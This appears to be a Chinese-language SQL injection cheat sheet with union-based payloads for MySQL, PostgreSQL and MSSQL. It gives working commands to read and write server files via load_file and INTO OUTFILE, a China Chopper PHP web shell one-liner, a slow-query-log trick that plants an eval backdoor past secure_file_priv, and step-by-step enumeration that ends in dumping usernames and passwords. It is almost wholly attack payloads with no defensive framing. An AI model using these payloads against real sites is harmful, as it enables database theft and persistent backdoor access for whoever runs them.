最高权限(root)读取写入操作
读取文件:load_file('d:/1.txt')
写入文件:http://127.0.0.1/b/?id=1%20union%20select%201,%E2%80%98yyy%E2%80%99,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20into%20outfile%20%27d:/3.txt%27
菜刀后门代码:<?php eval($_POST['x']);?> 连接密码为x
MYSQL-root高权限读写注入
-读取文件:
UNION SELECT 1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
-写入文件:
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'd:/www.txt'
-路径获取:phpinfo,报错,字典等
-无法写入:secure_file_priv突破 注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连上对方数据库进行绕过
set global slow_query_log=1;
set global slow_query_log_file='shell路径';
select '<?php eval($_GET[A])?>' or SLEEP(1);
PostgreSQL-高权限读写注入
-测列数:
order by 4
and 1=2 union select null,null,null,null
-测显位:第2,3
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误
-获取信息:
and 1=2 UNION SELECT null,version(),null,null //版本号
and 1=2 UNION SELECT null,current_user,null,null //当前用户
and 1=2 union select null,current_database(),null,null //数据库名
-获取数据库名:
and 1=2 union select null,string_agg(datname,','),null,null from pg_database
-获取表名:
-
and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
string_agg(tablename,',') 将tablename的名字显示出来,分割符为,
2、and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables
-获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'
-获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
-补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE
参考:https://www.freebuf.com/sectool/249371.html
MSSQL-sa高权限读写执行注入
-测列数:
order by 4
and 1=2 union all select null,null,null,null
-测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,'s',null
-获取信息:
@@version 获取版本信息
db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
and 1=2 union all select null,db_name(),null,null
-获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null
-获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
-获取数据:
and 1=2 union all select null,username, password ,null from manage